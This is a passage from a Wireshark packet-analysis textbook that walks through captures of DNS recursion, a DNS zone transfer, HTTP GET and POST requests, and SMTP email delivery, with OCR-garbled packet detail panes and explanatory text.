<- 40.. 172.16.0.102 172.16.0.8 DNS 92 Standard query response @x8b34 A www.nostarch.com A 72.32.92.4 





Figure 9-15: DNS recursion from the server’s perspective 


The first packet is the same initial query we saw in the previous capture 
file. At this point, the DNS server has received the query, checked its local 
database, and realized it doesn’t know the answer to the question of which 
IP address goes with the DNS name (www.nostarch.com). Because the packet 
was sent with the Recursion desired bit set, the DNS server can ask another 
DNS server this question in an attempt to locate the answer, as you can see 
in the second packet. 

In the second packet, the DNS server at 172.16.0.102 transmits a new 
query to 4.2.2.1 @, which is the server to which it is configured to forward 
upstream requests, as shown in Figure 9-16. This query mirrors the original 
one, effectively turning the DNS server into a client. We can tell that this 
is a new query because the transaction ID number differs from the trans- 
action ID number in the previous capture file @. 





M Wireshark - Packet 2 - dns_recursivequery_server = o x 





Frame 2: 76 bytes on wire (608 bits), 76 bytes captured (608 bits) 
Ethernet II, Src: Vmware_92:94:9F (@@:0c:29:92:94:9f), Dst: CiscoInc_31:07:33 (@@:26:0b:31:07:33) 
Internet Protocol Version 4, Src: 172.16.0.102, Dst: 4.2.2.1@ 
User Datagram Protocol, Src Port: 62570 (62570), Dst Port: 53 (53) 
V Domain Name System (query) 
Response In: 3 
Transaction ID: @xf34d @ 
Flags: @x@10@ Standard query 
Questions: 1 
Answer RRs: @ 
Authority RRs: @ 
Additional RRs: @ 
vV Queries 
V www.nostarch.com: type A, class IN 
Name: www.nostarch.com 
[Name Length: 16] 
[Label Count: 3] 
Type: A (Host Address) (1) 
Class: IN (@x@@01) 











No.: 2 * Time: 0.000379 > Source: 172.16.0.102 + Destination: 4.2.2.1 * Protocol: DNS > Length: 76 * Info: Standard query Oxf34d A www.nostarch.com 








Figure 9-16: The recursive DNS query 
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Once this packet is received by server 4.2.2.1, the local DNS server 
receives the response shown in Figure 9-17. 





4 Wireshark - Packet 3 - dns_recursivequery_server = o x 





> Frame 3: 92 bytes on wire (736 bits), 92 bytes captured (736 bits) 
Ethernet II, Src: CiscoInc_31:07:33 (@0:26:0b:31:07:33), Dst: Vmware_92:94:9f (@@:0c:29:92:94:9f) 
>» Internet Protocol Version 4, Src: 4.2.2.1, Dst: 172.16.0.102 
> User Datagram Protocol, Src Port: 53 (53), Dst Port: 62570 (62570) 
V Domain Name System (response) 
Request In: 2 
[Time: @.1822230@@ seconds] 
Transaction ID: @xf34d 
> Flags: @x818@ Standard query response, No error 
Questions: 1 
Answer RRs: 1 
Authority RRs: @ 
Additional RRs: @ 
v Queries 
v www.nostarch.com: type A, class IN 
Name: www.nostarch.com 
[Name Length: 16] 
[Label Count: 3] 
Type: A (Host Address) (1) 
Class: IN (@x@@01) 
v Answers 
v www.nostarch.com: type A, class IN, addr 72.32.92.4 
Name: www.nostarch.com 
Type: A (Host Address) (1) 
Class: IN (@x@@@1) 
Time to live: 3600 
Data length: 4 
Address: 72.32.92.4 











No.: 3 + Time: 0.182602 + Source: 4.2.2.1 * Destination: 172.16.0.102 - Protocol: DNS + Length: 92 « Info: Standard query response Oxf34d A www.nostarch.com A 72.32.92 


Close Help 








Figure 9-17: Response to the recursive DNS query 


Having received this response, the local DNS server can transmit the 
fourth and final packet to the DNS client with the information requested. 

Although this example shows only one layer of recursion, recursion can 
occur many times for a single DNS request. Here, we received an answer from 
the DNS server at 4.2.2.1, but that server could have retransmitted the query 
recursively to another server in order to find the answer. A simple query can 
travel all over the world before it finally gets a correct response. Figure 9-18 
illustrates the recursive DNS query process. 
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Figure 9-18: A recursive DNS query 


dns_axfr.pcapng 


DNS Zone Transfers 


A DNS zone is the namespace (or group of DNS names) that a DNS server 
has been delegated to manage. For instance, Emma’s Diner might have 
one DNS server responsible for emmasdiner.com. In that case, devices both 
inside and outside Emma’s Diner wishing to resolve emmasdiner.com to an 
IP address would need to contact that DNS server as the authority for that 
zone. If Emma’s Diner were to grow, it could add a second DNS server to 
handle the email portion of its DNS namespace only, say mail.emmasdiner 
.com, and that server would be the authority for that mail subdomain. 
Additional DNS servers might be added for subdomains as necessary, as 
shown in Figure 9-19. 
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Figure 9-19: DNS zones divide responsibility for 
namespaces. 


A zone transfer occurs when zone data is transferred between two devices, 
typically out of desire for redundancy. For example, in organizations with 
multiple DNS servers, administrators commonly configure a secondary DNS 
server to maintain a copy of the primary server’s DNS zone information in 
case the primary server becomes unavailable. There are two types of zone 
transfers: 


Full zone transfer (AXFR) These types of transfers send an entire 
zone between devices. 

Incremental zone transfer (IXFR) These types of transfers send only 
a portion of the zone information. 


The file dns_axfr.pcapng contains an example of a full zone transfer 
between the hosts 172.16.16.164 and 172.16.16.139. When you first look at 
this file, you may wonder whether you’ve opened the right one, because 
rather than UDP packets, you see TCP packets. Although DNS relies on 
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UDP, it uses TCP for certain tasks, such as zone transfers, because TCP 
is more reliable for the amount of data being transferred. The first three 
packets in this capture file are the TCP three-way handshake. 

The fourth packet begins the zone transfer request between 172.16.16.164 
and 172.16.16.139. This packet doesn’t contain any DNS information. It’s 
marked as a “TCP segment of a reassembled PDU” because the data sent in 
the zone transfer request packet was sent in multiple packets. Packets 4 and 
6 contain the packet’s data. Packet 5 is the acknowledgment that packet 4 
was received. These packets are displayed in this manner because of the 
way Wireshark parses and displays TCP packets for easier readability. For 
our purposes, we can reference packet 6 as the complete DNS zone transfer 
request, as shown in Figure 9-20. 





M Wireshark - Packet 6 - dns_axfr = O x 








Frame 6: 87 bytes on wire (696 bits), 87 bytes captured (696 bits) 

Ethernet II, Src: Vmware_7e:ec:a4 (@@:@c:29:7e:ec:a4), Dst: Vmware_ce:d1:9e (@@:@c:29:ce:d1:9e) 

Internet Protocol Version 4, Src: 172.16.16.164, Dst: 172.16.16.139 

Transmission Control Protocol, Src Port: 1108 (1108), Dst Port: 53 (53), Seq: 1570704528, Ack: 451899203, Len: 33 
[2 Reassembled TCP Segments (35 bytes): #4(2), #6(33)] 

V Domain Name System (query) 

Response In: 7 

Length: 33 

Transaction ID: @x@@07 

Flags: @x@1@@ Standard query @ 

Questions: 1 
Answer RRs: 
Authority RRs: @ 
Additional RRs: @ 


v Queries 


v contoso.local: type AXFR, class IN 

contoso. local 

[Name Length: 13] 

[Label Count: 2] 

Type: AXFR (transfer of an entire zone) (252) 
Class: IN (@x@@01) 


Name: 


2) 








No.: & « Time: 0.218656 * Source: 172.16.16.164 * Destination: 172.16.16.139 - Protocol: DNS « Length: 87 « Info: Standard query 0x0007 AXFR contoso.local 











Figure 9-20: DNS full zone transfer request 
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The zone transfer request is a standard query @, but instead of request- 
ing a single record type, it requests the AXFR type @, meaning that it wishes 
to receive the entire DNS zone from the server. The server responds with the 
zone records in packet 7, as shown in Figure 9-21. As you can see, the zone 
transfer contains quite a bit of data, and this is one of the simpler examples! 
With the zone transfer complete, the capture file ends with the TCP connec- 
tion teardown process. 


The data contained in a zone transfer can be very dangerous in the wrong hands. 
For example, by enumerating a single DNS server, you can map a network’s entire 
infrastructure. 








M Wireshark - Packet 7 - dns_axfr - o x 





> Frame 7: 1210 bytes on wire (9680 bits), 1210 bytes captured (9680 bits) 
Ethernet II, Src: Vmware_ce:d1:9e (00:0c:29:ce:d1:9e), Dst: Vmware_7e:ec:a4 (@0:0c:29:7e:ec:a4) 
> Internet Protocol Version 4, Src: 172.16.16.139, Dst: 172.16.16.164 
> Transmission Control Protocol, Src Port: 53 (53), Dst Port: 1108 (1108), Seq: 451899203, Ack: 1570704561, Len: 1156 
V Domain Name System (response) 
[Request In: 6] 
[Time: @.@21769000 seconds] 
Length: 1154 
Transaction ID: @x@007 
> Flags: @x818@ Standard query response, No error 
Questions: 1 
Answer RRs: 21 
Authority RRs: @ 
Additional RRs: @ 
vV Queries 
V contoso.local: type AXFR, class IN 
Name: contoso. local 
[Name Length: 13] 
[Label Count: 2] 
Type: AXFR (transfer of an entire zone) (252) 
Class: IN (@x0001) 
V Answers 
contoso.local: type SOA, class IN, mname dns3.contoso. local 
contoso.local: type A, class IN, addr 172.16.16.139 
contoso.local: type NS, class IN, ns dns3.contoso.local 
> _msdes.contoso.local: type NS, class IN, ns csanders-9ceael.contoso. local 
_gc._tcp.Default-First-Site-Name. sites.contoso.local: type SRV, class IN, priority @, weight 100, port 3268, target dns3.contoso.local 
_kerberos._tcp.Default-First-Site-Name._sites.contoso.local: type SRV, class IN, priority @, weight 100, port 88, target dns3.contoso.local 
_ldap._tcp.Default-First-Site-Name._sites.contoso.local: type SRV, class IN, priority @, weight 100, port 389, target dns3.contoso. local 
_gc._tcp.contoso.local: type SRV, class IN, priority @, weight 100, port 3268, target dns3.contoso.local 
_kerberos._tcp.contoso.local: type SRV, class IN, priority @, weight 100, port 88, target dns3.contoso. local 
_kpasswd._tcp.contoso.local: type SRV, class IN, priority @, weight 100, port 464, target dns3.contoso. local 
> _Idap._tcp.contoso.local: type SRV, class IN, priority @, weight 100, port 389, target dns3.contoso. local 
> _kerberos._udp.contoso.local: type SRV, class IN, priority @, weight 100, port 88, target dns3.contoso.local 
> _kpasswd._udp.contoso.local: type SRV, class IN, priority @, weight 100, port 464, target dns3.contoso. local 
> dns3.contoso.local: type A, class IN, addr 172.16.16.139 
DomainDnsZones.contoso.local: type A, class IN, addr 172.16.16.139 
> _Idap._tcp.Default-First-Site-Name._sites.DomainDnsZones.contoso.local: type SRV, class IN, priority @, weight 100, port 389, target dns3.contoso. local 
> _ldap._tcp.DomainDnsZones.contoso.local: type SRV, class IN, priority @, weight 100, port 389, target dns3.contoso. local 
> ForestDnsZones.contoso.local: type A, class IN, addr 172.16.16.139 
> _ldap._tcp.Default-First-Site-Name._sites.ForestDnsZones.contoso.local: type SRV, class IN, priority @, weight 100, port 389, target dns3.contoso. local 
_ldap._tcp.ForestDnsZones.contoso.local: type SRV, class IN, priority @, weight 100, port 389, target dns3.contoso. local 
> contoso.local: type SOA, class IN, mname dns3.contoso.local 











No.: 7+ Time: 0.240425 Source: 172.16.16.139 » Destination: 172.16.16.164 » Protocol: DNS « Length: 1210 - Info: Standard query resp. V 0 100 389 dns3.contoso.local A 172.16.16.139 SRV 0 100 389 dns3.contoso.local SRV 0 100 389 dns3.contoso.local SOA dhs3.contosc 


[ cose || _ Hep 








Figure 9-21: The DNS full zone transfer occurring 


Hypertext Transfer Protocol (HTTP) 


The Hypertext Transfer Protocol is the delivery mechanism of the World 
Wide Web, allowing web browsers to connect to web servers to view web 
pages. In most organizations, HTTP represents, by far, the highest per- 
centage of traffic seen going across the wire. Every time you do a Google 
search, send a tweet, or check University of Kentucky basketball scores on 
http://www.espn.com/, you're using HTTP. 

We won't look at the packet structures for an HTTP transfer because 
there are so many different implementations of the HTTP protocol that the 
structure may vary wildly. Because of this variance, that exercise is left to 
you. Here, we’ll look at some practical applications of HTTP such as retriev- 
ing and posting content. 


Browsing with HTTP 


htip_google.pcapng HTTP is most commonly used to browse web pages on a web server using a 
browser. The capture file http_google.pcapng shows such an HTTP transfer, 
using TCP as the transport layer protocol. Communication begins with a 
three-way handshake between the client 172.16.16.128 and the Google web 
server 74.125.95.104. 
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Once communication is established, the first packet is marked as an 
HTTP packet from the client to the server, as shown in Figure 9-22. 





M Wireshark » Packet 4- http_google = o x 





Frame 4: 681 bytes on wire (5448 bits), 681 bytes captured (5448 bits) 
Ethernet II, Src: IntelCor_5b:7d:4a (@@:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (@0:05:5d:21:99:4c) 
Internet Protocol Version 4, Src: 172.16.16.128, Dst: 74.125.95.104 
Transmission Control Protocol, Src Port: 1606 (1606), Dst Port: 8@ (80), Seq: 2082691768, Ack: 2775577374, Len: 627 
~ Hypertext Transfer Protocol 
~ GET / HTTP/1.1\r\n 
[Expert Info (Chat/Sequence): GET / HTTP/1.1\r\n] 
Request Method: GET 
@ Request URI: / 
Request Version: HTTP/1.1 
Host: www.google.com\r\n 
User-Agent: Mozilla/5.@ (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20@91221 Firefox/3.5.7\r\n 
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=@.8\r\n 
Accept-Language: en-us,en;q=@.5\r\n 
Accept-Encoding: gzip,deflate\r\n 
Accept-Charset: ISO-8859-1,utf-8;q=@.7,*;q=@.7\r\n 
Keep-Alive: 30@\r\n 
Connection: keep-alive\r\n 
[truncated]Cookie: PREF=ID=257913a938e6c248 : U=267c896b5f39Fb@b : FF=4: LD=en: NR=1@: TM=1260730@654: LM=1265479336:GM=1:5S... 
\r\n 
[Full request URI: http://www.google.com/] 
[HTTP request 1/1] 
Response in frame: 12 








No.: 4 * Time: 0.030248 * Source: 172.16.16.128 + Destination: 74,125.95. 104 + Protocol: HTTP « Length: 681 + Info: GET / HTTP/1.1 











Figure 9-22: The initial HTTP GET request packet 


The HTTP packet is delivered over TCP to the server’s port 80 @, the 
standard port for HTTP communication (several other ports are often used 
as well, such as 8080 and 8888). 

HTTP packets are identified by one of eight request methods as defined 
in HTTP specification version 1.1 (see http://www.iana.org/assignments/http 
-methods/http-methods.xhtml), which indicate the action the packet’s transmitter 
will perform on the receiver. As shown in Figure 9-22, this packet identifies 
its method as GET, its request Uniform Resource Indicator (URI) as /, and the 
request version as HTTP/1.1 @. This information tells us that the client is send- 
ing a request to download (GET) the root web directory (/) of the web server 
using version 1.1 of HTTP. 

Next, the host sends information about itself to the web server. This 
information includes things such as the browser (User-Agent) being used, 
languages accepted by the browser (Accept-Languages), and cookie informa- 
tion (at the bottom of the capture). The server can use this information to 
determine which data to return to the client in order to ensure compatibility. 

When the server receives the HTTP GET request in packet 4, it responds 
with a TCP ACK, acknowledging the packet, and begins transmitting the 
requested data from packets 6 to 11. HTTP is used only to issue application- 
layer commands between the client and server. Why do all these HTTP 
packets show up as TCP under the protocol heading in the packet list? 
When data transfer begins, the Wireshark packet list window will identify 
those packets as TCP instead of HTTP since no HTTP request/response 
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headers are present in those individual packets. Thus, where data trans- 
fer is occurring, you see TCP instead of HTTP in the Protocol column. 
Nonetheless, this is still part of the HTTP communication process. 

Data is sent from the server in packets 6 and 7, an acknowledgment from 
the client in packet 8, two more data packets in packets 9 and 10, and another 
acknowledgment in packet 11, as shown in Figure 9-23. All of these packets 
are shown in Wireshark as TCP segments, rather than as HTTP packets, 
although HTTP is still responsible for their transmission. 





No. Time Source Destination Protocol Length Info 
6 @... 74.125.95.104 172.16.16.128 TCP 1460 [TCP segment of a reassembled PDU] 
7 O... 74.125.95.104 172.16.16.128 TCP 1460 [TCP segment of a reassembled PDU] 
8 @... 172.16.16.128 74.125.95.104 TCP 54 1606 > 80 [ACK] Seq=2082692395 Ack=2775580186 Win=16872 Len=0 
9 @... 74.125.95.104 172.16.16.128 TCP 1460 [TCP segment of a reassembled PDU] 
10 @... 74.125.95.104 172.16.16.128 TCP 156 [TCP segment of a reassembled PDU] 
11 @... 172.16.16.128 74.125.95.104 TCP 54 1606 + 8@ [ACK] Seq=2082692395 Ack=2775581694 Win=16872 Len=@ 





Figure 9-23: TCP transmitting data between the client browser and web server 


Once the data is transferred, Wireshark reassembles the data stream for 


viewing, as shown in Figure 9-24. 





M Wireshark - Packet 12 - http_google 


Frame 12: 591 bytes on wire (4728 bits), 591 bytes captured (4728 bits) 


Internet Protocol Version 4, Src: 74.125.95.104, Dst: 172.16.16.128 


V Hypertext Transfer Protocol 
~ HTTP/1.1 200 OK\r\n 
[Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n] 
Request Version: HTTP/1.1 
@ Status Code: 200 
Response Phrase: OK 
Date: Tue, 09 Feb 2010 @1:18:37 GMT\r\n 
Expires: -1\r\n 
Cache-Control: private, max-age=@\r\n 
Content-Type: text/html; charset=UTF-8\r\n 
Content-Encoding: gzip\r\n 
Server: gws\r\n 
Y Content-Length: 4633\r\n 
[Content length: 4633] 
X-XSS-Protection: @\r\n 
\r\n 
[HTTP response 1/1] 
[Time since request: @.104147000 seconds] 
Request in frame: 4 
Content-encoded entity body (gzip): 4633 bytes -> 11308 bytes 
Line-based text data: text/html 





Ethernet II, Src: D-Link_21:99:4c (@@:05:5d:21:99:4c), Dst: IntelCor_5b:7d:4a (@0:21:6a:5b:7d:4a) 


Transmission Control Protocol, Src Port: 80 (80), Dst Port: 1606 (1606), Seq: 2775581694, Ack: 2082692395, Len: 537 
[5 Reassembled TCP Segments (4857 bytes): #6(1406), #7(1406), #9(1406), #10(102), #12(537)] 











Figure 9-24: Final HTTP packet with response code 200 


No.: 12 « Time: 0.134395 « Source: 74,125.95.104 * Destination: 172.16.16.128 * Protocol: HTTP > Length: 591 * Info: HTTP/1.1 200 OK (texx/htmi) 





In many instances, you wont be able to see readable HTML data when browsing 
through the packet list because that data is gzip compressed to increase bandwidth 
efficiency. This is signified by the Content-Encoding field in the HTTP response from 
the web server. It’s only when you view the full stream that the data is decoded and 


easily readable. 
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HTTP uses a number of predefined response codes to indicate the 
results of a request method. In this example, we see a packet with status 
code 200 @, which indicates a successful request method. The packet also 
includes a timestamp and some additional information about the encoding 
of the content and configuration parameters of the web server. When the 
client receives this packet, the transaction is complete. 


Posting Data with HTTP 


http_post.pcapng Now that we have looked at the process of downloading data from a web 
server, let’s turn our attention to uploading data. The file hittp_post.pcapng con- 
tains a very simple example of an upload: a user posting a comment to a web- 
site. After the initial three-way handshake, the client (172.16.16.128) sends an 
HTTP packet to the web server (69.163.176.56), as shown in Figure 9-25. 





M Wireshark - Packet 4 http_post = oO x 


Frame 4: 1175 bytes on wire (9400 bits), 1175 bytes captured (9400 bits) a] 
Ethernet II, Src: IntelCor_5b:7d:4a (00:21:6a:5b:7d:4a), Dst: D-Link_21:99:4c (00:05:5d:21:99:4c) 
Internet Protocol Version 4, Src: 172.16.16.128, Dst: 69.163.176.56 
Transmission Control Protocol, Src Port: 1989 (1989), Dst Port: 80 (80), Seq: 2808074211, Ack: 3740859985, Len: 1121 
y~ Hypertext Transfer Protocol 
Y POST /wp-comments-post.php HTTP/1.1\r\n 
[Expert Info (Chat/Sequence): POST /wp-comments-post.php HTTP/1.1\r\n] 
Request Method: POST @ 
Request URI: /wp-comments-post.php @ 
Request Version: HTTP/1.1 
Host: www.chrissanders.org\r\n 
User-Agent: Mozilla/5.@ (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.7) Gecko/2@@91221 Firefox/3.5.7\r\n 
Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=@.8\r\n 
Accept-Language: en-us,en;q=@.5\r\n 
Accept-Encoding: gzip,deflate\r\n 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=@.7\r\n 
Keep-Alive: 3@@\r\n 
Connection: keep-alive\r\n 
Referer: http://www. chrissanders.org/?p=31@\r\n 
[truncated]Cookie: __utma=84195659.5@0695863. 1261144042. 1265668706.1265682737.20; __utmz=84195659.1264688282.12.... 
Content-Type: application/x-www-form-urlencoded\r\n 
Content-Length: 179\r\n 
\r\n 
[Full request URI: http://www. chrissanders.org/wp-comments-post.php] 
(HTTP request 1/2] 
Response in frame: 6 
[Next request in frame: 7] 
V HTML Form URL Encoded: application/x-www-form-urlencoded @ 








V Form item: “author” = "Chris Sanders” 
Key: author 
Value: Chris Sanders 
V Form item: “email” = “chris@chrissanders.org” 


Key: email 
Value: chris@chrissanders.org 


V Form item: "url" = “http://www.chrissanders.org” 
Key: url 
Value: http://www.chrissanders.org v 





No.: 4 Time: 0.081100 - Source: 172.16.16.128 « Destination: 69.163.176.56 - Protocol: HTTP « Length: 1175 Info: POST /wp-comments-post php HTTP/1.1 (application/-www-form-urlencoded) 











Figure 9-25: The HTTP POST packet 


This packet uses the POST method ® to upload data to a web server 
for processing. The POST method used here specifies the URI /wp-comments 
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-post.php @ and the HTTP version of HTTP/1.1. To see the contents of 
the data posted, expand the HTML Form URL Encoded portion of the 
packet ©. 

Once the data is transmitted in this POST, an ACK packet is sent. 
As shown in Figure 9-26, the server responds with packet 6, transmitting 
the response code 302 @, which means “found.” 





M Wireshark . Packet 6 - http_post - a x 


Frame 6: 964 bytes on wire (7712 bits), 964 bytes captured (7712 bits) a 
Ethernet II, Src: D-Link_21:99:4c (@0:05:5d:21:99:4c), Dst: IntelCor_Sb:7d:4a (@0:21:6a:5b:7d:4a) 
Internet Protocol Version 4, Src: 69.163.176.56, Dst: 172.16.16.128 
Transmission Control Protocol, Src Port: 80 (80), Dst Port: 1989 (1989), Seq: 3740859985, Ack: 2808075332, Len: 910 
yV Hypertext Transfer Protocol 
Y HTTP/1.1 302 Found\r\n 
[Expert Info (Chat/Sequence): HTTP/1.1 302 Found\r\n] 
Request Version: HTTP/1.1 
Status Code: 302 
Response Phrase: Found 
Date: Tue, @9 Feb 2010 @2:30:26 GMT\r\n 
Server: Apache\r\n 
X-Powered-By: PHP/4.4.9\r\n 
Expires: Wed, 11 Jan 1984 05:00:00 GMT\r\n 
Cache-Control: no-cache, must-revalidate, max-age=@\r\n 
Pragma: no-cache\r\n 
Set-Cookie: comment_author_@d7dc802882e903c170f35a2d747915b=Chris+Sanders; expires=Saturday, 22-Jan-11 07:50:27 GMT; path=/\r\n 
Set-Cookie: comment_author_email_@d7dc802882e903c170f35a2d747915b=chris%4ðchrissanders.org; expires=Saturday, 22-Jan-11 07:50:27 GMT; path=/\r\n 
Set-Cookie: comment_author_url_@d7dc802882e903c170f35a2d747915b=http%3A%2F%2Fwww.chrissanders.org; expires=Saturday, 22-Jan-11 07:50:27 GMT; path=/\r\n 
Last-Modified: Tue, @9 Feb 2010 02:30:27 GMT\r\n 
@ Location: http://www. chrissanders.org/?p=310&cpage=1#comment-103002\r\n 
Vary: Accept-Encoding\r\n 
Content-Encoding: gzip\r\n 
Y Content-Length: 20\r\n 
[Content length: 20] 
Keep-Alive: timeout=2, max=100\r\n 
Connection: Keep-Alive\r\n 
Content-Type: text/html\r\n 
\r\n 
[HTTP response 1/2] 
[Time since request: 1.356727000 seconds] 


Request in frame: 4 








Content-encoded entity body (gzip): 20 bytes -> @ bytes v 


No.: 6 * Time: 1.437827 - Source: 69.163.176.56 - Destination: 172.16.16.128 - Protocol: HTTP « Length: 964 + Info: HTTP/1.1 302 Found (texe/heml\(Maitormed Packet] 











Close Help 











Figure 9-26: HTTP response 302 is used to redirect. 


The 302 response code is a common means of redirection in the 
HTTP world. The Location field in this packet specifies where the client 
is to be directed @. In this case, that location is on the originating web 
page where the comment was posted. The client performs a new GET request 
to retrieve content at the new location, which it sends over the next several 
packets. Finally, the server transmits status code 200, and the communica- 
tion ends. 


Simple Mail Transfer Protocol (SMTP) 


If web browsing is the most common activity a user will participate in, send- 
ing and receiving email is probably in second place. The Simple Mail Transfer 
Protocol (SMTP), used by platforms such as Microsoft Exchange and Postfix, 
is the standard for sending email. 

As with HTTP, the structure of an SMTP packet can vary based on the 
implementation and the set of features supported by the client and server. 
In this section, we’ll review some of the basic functionality of SMTP by 
examining what sending email looks like at the packet level. 
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Sending and Receiving Email 

The architecture supporting email is similar to the US Postal Service. When 
you write a letter, you put it in your mailbox, a postal worker picks it up, 
and it’s transported to a post office where it’s sorted. From there, the letter 
is either delivered to another mailbox serviced by that same post office 

or transported to another post office that is responsible for delivering it. 

A letter may traverse multiple post offices or even “hub” offices designed 
exclusively to distribute to post offices in specific geographic regions. This 
flow of information is illustrated in Figure 9-27. 
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Figure 9-27: Sending a letter via the postal service 


Delivering email works in a very similar manner, but the terminology is a 
bit different. At the individual user level, the physical mailbox is replaced by a 
digital mailbox that is responsible for storing and facilitating the sending and 
receiving of your email. You access this mailbox with a mail user agent (MUA), 
which is an email client like Microsoft Outlook or Mozilla Thunderbird. 

When you send a message, it’s sent from your MUA to a mail transfer agent 
(MTA). The MTA is often referred to as the mail server, with popular mail 
server applications being Microsoft Exchange or Postfix. If the email being 
sent is destined for the same domain it came from, the MTA can associate it 
with the recipient mailbox without any further communication. If the email 


is being sent to another domain, the MTA must use DNS to find the location 
address of the recipient mail server, then transmit the message to it. It’s worth 
noting that the mail server is often made up of other components like a Mail 
Delivery Agent (MDA) or a Mail Submission Agent (MSA), but from the net- 
work standpoint, we’ll usually only be interested in the concept of a client and 
a server. This basic overview is illustrated in Figure 9-28. 
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Figure 9-28: Sending an email via SMTP 


For simplicity’s sake, we’ll refer to the MUA as the email client and the 
MTA as the email server. 


Tracking an Email Message 


With a basic understanding of how email messages are transmitted, we 
can begin to look at packets that represent this process. Let’s start with the 
scenario outlined in Figure 9-29. 
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Figure 9-29: Tracking an email from sender to recipient 
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There are three steps in this scenario: 


1. A user sends a message from their workstation (172.16.16.225). The 
email client transmits the message via SMTP to the local email server 
(172.16.16.221 / skynet.local domain). 


2. The local email server receives the message and transmits it to a remote 
email server (172.16.16.231 / cyberdyne.local domain) via SMTP. 


3. The remote email server receives the message and associates it with 
the appropriate mailbox. The email client on a user’s workstation 
(172.16.16.235) retrieves this message using the IMAP protocol. 


Step 1: Client to Local Server 


We’ll begin stepping through this process by reviewing step 1, which is 
represented by mail_sender_client_1.pcapng. The file begins when the user 
clicks the Send button in their email client, initiating the TCP handshake 
between their workstation and the local email server in packets 1 through 3. 


You can ignore any ETHERNET FRAME CHECK SEQUENCE INCORRECT errors observed while 
analyzing the packet captures in this section. They are an artifact of the lab environ- 
ment in which these were created. 


Once a connection is established, SMTP takes over and begins the work 
of transmitting the user’s message to the server. You could examine each 
SMTP request and response individually by scrolling through each packet 
and viewing the SMTP section of the Packet Details window, but there is an 
easier way. Since SMTP is a simple transactional protocol and our example is 
in clear text, you can follow the TCP stream to view the entire transaction in 
one window. Do this by right-clicking any packet in the capture and selecting 
Follow > TCP Stream. The resulting stream is shown in Figure 9-30. 

With a connection established, the email server sends a service banner to 
the client in packet 4 to indicate that it is ready to receive a command. In this 
case, it identifies itself as a Postfix server running on the Ubuntu Linux oper- 
ating system @. It also identifies that it is capable of receiving Extended SMTP 
(ESMTP) commands. ESMTP is an extension to the SMTP specification that 
allows for additional commands to be used during mail transmission. 

The email client responds by issuing the EHLO command in packet 5 @. 
EHLO is the “Hello” command used to identify the sending host when ESMTP 
is supported. If ESMTP is not available, the client will revert to the HELO com- 
mand to identify itself. In this example, the sender is identified by its IP 
address, although a DNS name can be used as well. 

In packet 7, the server responds with a list of items that include things 
like VRFY, STARTTLS, and SIZE 10240000 ®. This list, which reflects commands 
supported by the SMTP server, is provided so that the client knows what 
commands it is allowed to use when transmitting the message. This feature 
negotiation occurs at the beginning of every SMTP transaction before a 
message is sent. The transmission of the message begins at packet 8 and 
makes up most of the remainder of this capture. 








4 Wireshark - Follow TCP Stream (tcp.stream eq 0) - mail_sender_client_1 = o x 





220 mail@1 ESMTP Postfix (Ubuntu) @ 

EHLO [172.16.16.225] @ 

250-mail@1 

25@-PIPELINING 

25@-SIZE 10240000 

© 250-VRFY 

25@0-ETRN 

25@-STARTTLS 

25@-ENHANCEDSTATUSCODES 

250-8BITMIME 

25@ DSN 

MAIL FROM:<sanders@skynet.local> SIZE=556 @ 
250 2.1.0 Ok 

RCPT TO:<sanders@cyberdyne.local> @ 

25@ 2.1.5 Ok 

DATA 

354 End data with <CR><LF>.<CR><LF>@ 

To: Chris Sanders <sanders@cyberdyne.local> 
From: Chris Sanders <sanders@skynet.local> 
Subject: Help! 

Message-ID: <5682DB80.4010607@skynet. local> 
Date: Tue, 29 Dec 2015 14:14:08 -0500 
User-Agent: Mozilla/5.@ (Windows NT 10.0; WOW64; rv:38.0@) Gecko/20100101 
Thunderbird/38.5.0 @ 

MIME-Version: 1.0 

Content-Type: text/plain; charset=utf-8; format=flowed 
Content-Transfer-Encoding: 7bit 


I need your help. The system has become self aware. On second thought, 
why am I sending this from a system that can most certainly intercept 
it? Oh well.... 


250 2.0.0 Ok: queued as 931C449@D5 
QUIT 
221 2.0.0 Bye O 








7 client pke(s), 7 server pke(s), 12 turns. 


























Entire conversation (951 bytes) w Show data as ASCII v| Stream |0 |$ 
Find: Find Next 
Hide this stream Print Save as... Close Help 








Figure 9-30: Viewing the TCP stream from the email client to the local server 


SMTP is governed by simple commands and parameter values sent from 
the client, followed by a response code from the server. This is very similar 
to protocols like HTTP and TELNET and is designed for simplicity. An 
example request and reply can be seen in packets 8 and 9, where the client 
issues the MAIL command with the parameter FROM: <sanders@skynet.local> 
SIZE=556 @, and the server responds with response code 250 (Requested 
mail action okay, completed) and the 2.1.0 0k parameter. Here, the client 
identifies the sender’s email address and the size of the message, and the 
server responds saying that this data was received and is acceptable. A similar 
transaction happens again in packets 10 and 11, where the client issues the 
RCPT command with the parameter TO:<sanders@cyberdyne.local> ©, and the 
server responds with another 250 2.1.5 Ok code. 


If youd like to review all the available SMTP commands and parameters, you 

can do so here: http://www.iana.org /assignments/mail-parameters/mail 
-parameters.xhtml. If youd like to review the available response codes, that can be 
done here: https://www.iana.org/assignments/smtp-enhanced-status-codes/ 
smtp-enhanced-status-codes.xml. 
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All that is left is to transmit the message itself. The client initiates this 
process in packet 12 by issuing the DATA command. The server responds 
with code 354 along with a message @, which indicates that the server 
has created a buffer for the message and tells the client to begin trans- 
mitting. The line containing the code 354 tells the client to send a dot 
(<CR><LF>.<CR><LF>) to mark the end of the transmission. The message is 
transmitted in plaintext, and a response code indicating successful trans- 
mission is sent. You'll notice the inclusion of some additional information 
with the message text, including the date, the content type and encoding, 
and the user agent associated with the transmission. This tells you that the 
end user who sent this message was using Mozilla Thunderbird @. 

With transmission complete, the SMTP connection is terminated by the 
email client by issuing the QUIT command with no parameters in packet 18. 
The server responds in packet 19 with the response code 221 (<domain> ser- 
vice closing transmission channel) and the 2.0.0 Bye parameter ©. The TCP 
connection is torn down gracefully in packets 20-23. 


Step 2: Local Server to Remote Server 


Next we’ll examine the same scenario from the perspective of the local email 
server responsible for the skynet.local domain; its address is 172.16.16.221. This 
capture can be found in the file mazl_sender_server_2.pcapng, which was taken 
directly from the email server. As you might expect, the first 20 or so packets 
